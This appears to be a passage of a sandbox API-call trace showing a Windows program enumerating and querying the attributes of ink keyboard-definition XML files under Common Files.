	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0243.637] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0243.638] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0243.638] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0243.638] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0243.638] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
	[0243.638] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0243.638] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.638] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0243.640] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05)) returned 1
	[0243.646] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7)) returned 1
	[0243.669] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4)) returned 1
	[0243.670] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9)) returned 1
	[0243.670] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2)) returned 1
	[0243.673] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324)) returned 1
	[0243.674] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8)) returned 1
	[0243.674] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269)) returned 1
	[0243.675] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8)) returned 1
	[0243.675] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9)) returned 1
	[0243.676] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b)) returned 1
	[0243.677] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b)) returned 1
	[0243.677] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3)) returned 1
	[0243.679] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda)) returned 1
	[0243.679] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1
	[0243.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.681] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.681] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1
	[0243.683] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
